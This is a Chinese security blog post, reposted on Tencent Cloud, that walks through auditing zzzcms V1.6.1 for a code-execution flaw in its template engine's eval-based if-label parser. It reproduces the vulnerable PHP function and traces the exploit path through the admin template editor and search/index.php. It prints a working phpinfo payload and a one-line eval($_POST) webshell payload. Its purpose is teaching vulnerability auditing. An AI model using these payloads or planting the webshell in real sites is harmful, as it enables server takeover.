首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

再谈 zzzcms 代码执行,你也能审计出来的高危漏洞

作者头像
信安之路
发布2020-01-17 14:41:26
2.2K0
发布2020-01-17 14:41:26
举报
文章被收录于专栏:信安之路信安之路

本文作者:sher10ck

zzzcms 的后台模板处的命令执行可以说是这套 CMS 比较典型的漏洞了,很久之前自己跟踪过一遍漏洞代码,最近又拿起来玩了玩,发现自己也能够审计到这个漏洞点,整个漏洞审计的过程也很简单,没有啥骚操作。

下面我就会按照审计的思路,而并非漏洞分析的思路,给大家说说我是如何通过自己的努力审计出这个命令执行漏洞的

cms 下载地址:

https://yunpan.360.cn/surl_ycSTDKgjnKt

这里我下载的是V1.6.1

定位漏洞点

审计的时候我是直接全局搜索敏感函数 php 代码执行函数:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

首先看下 eval,全局搜索

仔细翻翻看,存在 eval 函数的 php 文件就只有这一个 zzz_template.php,而我们的这个命令执行的漏洞点也就是存在这里。(惊不惊喜,发现漏洞点其实就是这么简单)

跟踪到了 /inc/zzz_template.php 中的 parserIfLabel 函数

有嫌疑的点我们找到了,接下来我们仔细看看这个函数

细看漏洞函数

来看一下这个函数的逻辑

无敌,看起来并没有啥过滤,我们本地将这个函数弄出来测试一下

这里将我们 $zcontent 的值构造一下

<?php

$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
parserIfLabel( $zcontent );

function parserIfLabel( $zcontent ) {
  $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
  if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
    $count = count( $matches[ 0 ] );
    for ( $i = 0; $i < $count; $i++ ) {
      $flag = '';
      $out_html = '';
      $ifstr = $matches[ 1 ][ $i ];
      $ifstr = str_replace( '<>', '!=', $ifstr );
      $ifstr = str_replace( 'mod', '%', $ifstr );
      $ifstr1 = cleft( $ifstr, 0, 1 );
      switch ( $ifstr1 ) {
        case '=':
          $ifstr = '0' . $ifstr;
          break;
        case '{':
        case '[':
          $ifstr = "'" . str_replace( "=", "'=", $ifstr );
          break;
      }
      $ifstr = str_replace( '=', '==', $ifstr );
      $ifstr = str_replace( '===', '==', $ifstr );
      @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
    }
  }
}

function cleft( $str, $start = 0, $num = 1 ) {
  $var = trim( $str );
  $result = substr( $var, $start, $num );
  return $result;
}
?>

访问:

http://127.0.0.1/test.php

成功执行命令了,这个函数存在命令执行漏洞!

如何调用漏洞函数

这里又出现了一个问题,漏洞函数找到了,如何去调用这一个函数呢?

在审计的时候我一般会有两种思路:

1、特定的功能点调用漏洞函数,我们寻找功能点

2、可以直接 url 调用漏洞函数,构造 url 触发漏洞

大家可以自行尝试一下这两种思路。

那么这里是哪种呢,往下看,我们看看 zzz_template.php 的整体架构。

原来我们这里的 parserIfLabel 函数是在 ParserTemplate 类中的,而且这个类中的 parserCommom 也会调用这个函数。

那么想触发我们的漏洞函数,首先必须要生成 ParserTemplate 这个类。

全局搜索

这里在两个文件中出现了 ParserTemplate 类,一个是 /admin123/save.php,另外一个是 zzz_client.php,不喜欢看后台我就直接看了下 zzz_client.php

zzz_client.php 中匹配到了多次,我们一个一个来看

第一个匹配点,利用失败

注意上面的 if 条件:$location=='user'

我们继续跟踪 $location 这个变量,来到了line23

跟踪 getlocation() 这个函数

其实下面还有一大段代码没有截出来,但是没有关系,我们只需要用 get 请求 location 参数,举个例子:

我们构造url:

http://127.0.0.1/zzzphpV1.6.1/?location=user

那么我们的参数:

$location=user

这样就能满足我们的条件了,继续看 if 里面的内容,我这里继续贴出关键的代码:

这里的 TPL_DIR 的值为 **\template\pc\cn2016\html**,怎么构造的可以自己跟踪一下

整个流程我简化出来了,要是我们可以将我们的 $zcontent 修改成我们构造好的内容,那岂不是就能够触发了。

所以这个点我们要修改 \template\pc\cn2016\html\userlogin.html 中的内容,这里后台给我们提供了这样的功能。

但是我们发现 html 文件夹下并不存在 userlogin.html,尴尬了,又不能自己新建一个。

看来 location 为 user 这条路走不通,继续看下一个。

第 N 个匹配点,利用成功

失败乃成功之母,在我跟踪了 N 次之后,终于找到了可以利用的一个点(大家可以自行尝试一下)

其实也就是第三个匹配的点,前两个用的有点鸡肋。

当我们的 $location=search/form/screen/app 的时候进入下一步。

html 文件下并不存在 form/screen/app.html,这里只能利用 search 了呀。

于是乎我访问了

http://127.0.0.1/zzzphpV1.6.1/?location=serach

并没有跳转到 search 的页面,而是给我返回到了主页,按道理来说应该是能行的啊,后来发现问题在 getlocation 这个函数里面的 checklocation 函数

search 并不在这几个列表里面,那要想办法继续搞啊,于是我继续细看了 getlocation 函数,发现一个有意思的地方

要是 search 自定义了 LOCATION 就好了,全局搜索这个 LOCATION

嘿嘿,正好 search 中定义了这个值,在 search\index.php 中,这不就刚好吗,我去修改了 html 下的search.html

然后访问

http://127.0.0.1/zzzphpV1.6.1/search/index.php

成功执行 phpinfo

phpinfo_payload:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

一句话 payload:

{if:<?php eval($_POST[sss]) ?>}phpinfo();{end if}

还有没有其他可以利用的点就靠大家自行去挖掘了

总结

自身的审计能力和漏洞复现跟踪代码完全是两码事,复现看懂了漏洞成因你不一定能够审计的出来,自身的审计能力也需要经过大量的思考才会有所提升,希望大家都能够静下心来看会代码,漏洞就在那里,看你是否主动去寻找到它了,希望这篇文章能对你有所帮助。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-01-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 定位漏洞点
  • 细看漏洞函数
  • 如何调用漏洞函数
  • 第一个匹配点,利用失败
  • 第 N 个匹配点,利用成功
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档